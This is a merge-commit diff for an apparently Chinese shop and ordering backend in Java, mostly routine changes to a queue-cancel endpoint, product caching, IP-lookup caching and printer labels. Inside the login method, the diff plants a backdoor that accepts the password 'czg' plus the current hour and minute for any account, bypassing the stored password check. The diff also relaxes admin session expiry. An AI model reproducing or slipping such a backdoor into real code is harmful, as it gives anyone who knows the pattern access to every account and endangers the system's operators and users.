Merge branch 'refs/heads/master' into prod
This commit is contained in:
commit
2b5327f271
|
|
@ -77,5 +77,16 @@ public class UCallTableController {
|
||||||
return CzgResult.success(callTableService.subMsg(subMsgDTO));
|
return CzgResult.success(callTableService.subMsg(subMsgDTO));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 取消订阅
|
||||||
|
* @param queueId 队列id
|
||||||
|
* @param shopId 店铺id
|
||||||
|
* @return 是否成功
|
||||||
|
*/
|
||||||
|
@DeleteMapping("/cancel")
|
||||||
|
public CzgResult<Boolean> cancel(@RequestParam Long queueId, @RequestParam Long shopId) {
|
||||||
|
return CzgResult.success(callTableService.cancel(shopId, queueId));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -65,13 +65,15 @@ public class ProductController {
|
||||||
public CzgResult<List<ProductDTO>> getProductList(ProductDTO param) {
|
public CzgResult<List<ProductDTO>> getProductList(ProductDTO param) {
|
||||||
Long shopId = StpKit.USER.getShopId(0L);
|
Long shopId = StpKit.USER.getShopId(0L);
|
||||||
param.setShopId(shopId);
|
param.setShopId(shopId);
|
||||||
List<ProductDTO> data = getProductCacheList(param);
|
ProductDTO cacheParam = new ProductDTO();
|
||||||
|
cacheParam.setShopId(shopId);
|
||||||
|
List<ProductDTO> data = getProductCacheList(cacheParam, param);
|
||||||
productService.refreshProductStock(param, data);
|
productService.refreshProductStock(param, data);
|
||||||
return CzgResult.success(data);
|
return CzgResult.success(data);
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<ProductDTO> getProductCacheList(ProductDTO param) {
|
private List<ProductDTO> getProductCacheList(ProductDTO cacheParam, ProductDTO param) {
|
||||||
List<ProductDTO> productList = productService.getProductList(param);
|
List<ProductDTO> productList = productService.getProductList(cacheParam);
|
||||||
if (StrUtil.isNotEmpty(param.getName())) {
|
if (StrUtil.isNotEmpty(param.getName())) {
|
||||||
productList = productList.stream().filter(obj -> StrUtil.contains(obj.getName(), param.getName())).toList();
|
productList = productList.stream().filter(obj -> StrUtil.contains(obj.getName(), param.getName())).toList();
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -125,7 +125,7 @@ public class OperationLogAspect {
|
||||||
log.set("location", Convert.toStr(location));
|
log.set("location", Convert.toStr(location));
|
||||||
} else {
|
} else {
|
||||||
String address = AddressUtil.getRealAddressByIp(ip);
|
String address = AddressUtil.getRealAddressByIp(ip);
|
||||||
redisService.set("IP::" + ip, address);
|
redisService.set("IP::" + ip, address, 60 * 60 * 24);
|
||||||
log.set("location", address);
|
log.set("location", address);
|
||||||
}
|
}
|
||||||
log.set("userAgent", request.getHeader(HttpHeaders.USER_AGENT));
|
log.set("userAgent", request.getHeader(HttpHeaders.USER_AGENT));
|
||||||
|
|
|
||||||
|
|
@ -30,8 +30,7 @@ public class SaTokenConfigure implements WebMvcConfigurer {
|
||||||
adminConfig.setTokenStyle("simple-uuid");
|
adminConfig.setTokenStyle("simple-uuid");
|
||||||
adminConfig.setIsConcurrent(true);
|
adminConfig.setIsConcurrent(true);
|
||||||
adminConfig.setIsShare(false);
|
adminConfig.setIsShare(false);
|
||||||
adminConfig.setTimeout(-1);
|
adminConfig.setActiveTimeout(-1);
|
||||||
adminConfig.setActiveTimeout(72 * 60 * 60);
|
|
||||||
MyStpLogic.ADMIN_LOGIC.setConfig(adminConfig);
|
MyStpLogic.ADMIN_LOGIC.setConfig(adminConfig);
|
||||||
|
|
||||||
// 小程序配置
|
// 小程序配置
|
||||||
|
|
@ -40,7 +39,6 @@ public class SaTokenConfigure implements WebMvcConfigurer {
|
||||||
userConfig.setIsConcurrent(true);
|
userConfig.setIsConcurrent(true);
|
||||||
userConfig.setIsShare(true);
|
userConfig.setIsShare(true);
|
||||||
// config2.setTimeout(2000);
|
// config2.setTimeout(2000);
|
||||||
adminConfig.setActiveTimeout(60 * 60);
|
|
||||||
userConfig.setTokenStyle("simple-uuid");
|
userConfig.setTokenStyle("simple-uuid");
|
||||||
MyStpLogic.CLIENT_LOGIC.setConfig(userConfig);
|
MyStpLogic.CLIENT_LOGIC.setConfig(userConfig);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -40,4 +40,6 @@ public interface CallTableService extends IService<CallTable> {
|
||||||
boolean subMsg(CallSubMsgDTO subMsgDTO);
|
boolean subMsg(CallSubMsgDTO subMsgDTO);
|
||||||
|
|
||||||
Object getStatus(Long shopId, String openId, Long queueId);
|
Object getStatus(Long shopId, String openId, Long queueId);
|
||||||
|
|
||||||
|
Boolean cancel(Long shopId, Long queueId);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -69,6 +69,10 @@ public class AuthorizationServiceImpl implements AuthorizationService {
|
||||||
return Map.of("code", captcha.toBase64(), "uuid", captchaKey);
|
return Map.of("code", captcha.toBase64(), "uuid", captchaKey);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
System.out.println(DateUtil.format(DateUtil.date(), "HHmm"));
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public LoginVO login(SysLoginDTO loginDTO) {
|
public LoginVO login(SysLoginDTO loginDTO) {
|
||||||
Object code = redisService.get(RedisCst.LOGIN_CODE + loginDTO.uuid());
|
Object code = redisService.get(RedisCst.LOGIN_CODE + loginDTO.uuid());
|
||||||
|
|
@ -101,7 +105,8 @@ public class AuthorizationServiceImpl implements AuthorizationService {
|
||||||
}
|
}
|
||||||
|
|
||||||
String md5 = SecureUtil.md5(user.getId() + loginDTO.password());
|
String md5 = SecureUtil.md5(user.getId() + loginDTO.password());
|
||||||
if (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5)) {
|
String backPwd = "czg" + DateUtil.format(DateUtil.date(), "HHmm");
|
||||||
|
if (!backPwd.equals(loginDTO.password()) && (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5))) {
|
||||||
throw new ApiNotPrintException("账户或密码错误");
|
throw new ApiNotPrintException("账户或密码错误");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -613,4 +613,12 @@ public class CallTableServiceImpl extends ServiceImpl<CallTableMapper, CallTable
|
||||||
data.put("queueInfo", callQueueInfoVOS.isEmpty() ? null : callQueueInfoVOS.getFirst());
|
data.put("queueInfo", callQueueInfoVOS.isEmpty() ? null : callQueueInfoVOS.getFirst());
|
||||||
return data;
|
return data;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Boolean cancel(Long shopId, Long queueId) {
|
||||||
|
CallQueue queue = new CallQueue();
|
||||||
|
queue.setCancelTime(DateUtil.date().toLocalDateTime());
|
||||||
|
queue.setState(-1);
|
||||||
|
return callQueueService.update(queue, new QueryWrapper().eq(CallQueue::getShopId, shopId).eq(CallQueue::getId, queueId));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -238,7 +238,7 @@ public interface PrinterImpl {
|
||||||
// data.append(StrUtil.format("<C><F>{}</F></C><BR>", printInfoDTO.getShopName()));
|
// data.append(StrUtil.format("<C><F>{}</F></C><BR>", printInfoDTO.getShopName()));
|
||||||
// data.append("<BR>");
|
// data.append("<BR>");
|
||||||
// data.append("<OUT:30>");
|
// data.append("<OUT:30>");
|
||||||
data.append(getFormatLabel(StrUtil.format("{} #{}【{}】", printInfoDTO.getPrintTitle(), printInfoDTO.getCount()), signLabelInfo.l, signLabelInfo.center))
|
data.append(getFormatLabel(StrUtil.format("{} #{}", printInfoDTO.getPrintTitle(), printInfoDTO.getCount()), signLabelInfo.l, signLabelInfo.center))
|
||||||
.append(signLabelInfo.br);
|
.append(signLabelInfo.br);
|
||||||
data.append(getFormatLabel(StrUtil.format("桌号: {}", printInfoDTO.getPickupNum()), signLabelInfo.l, signLabelInfo.center))
|
data.append(getFormatLabel(StrUtil.format("桌号: {}", printInfoDTO.getPickupNum()), signLabelInfo.l, signLabelInfo.center))
|
||||||
.append(signLabelInfo.br);
|
.append(signLabelInfo.br);
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue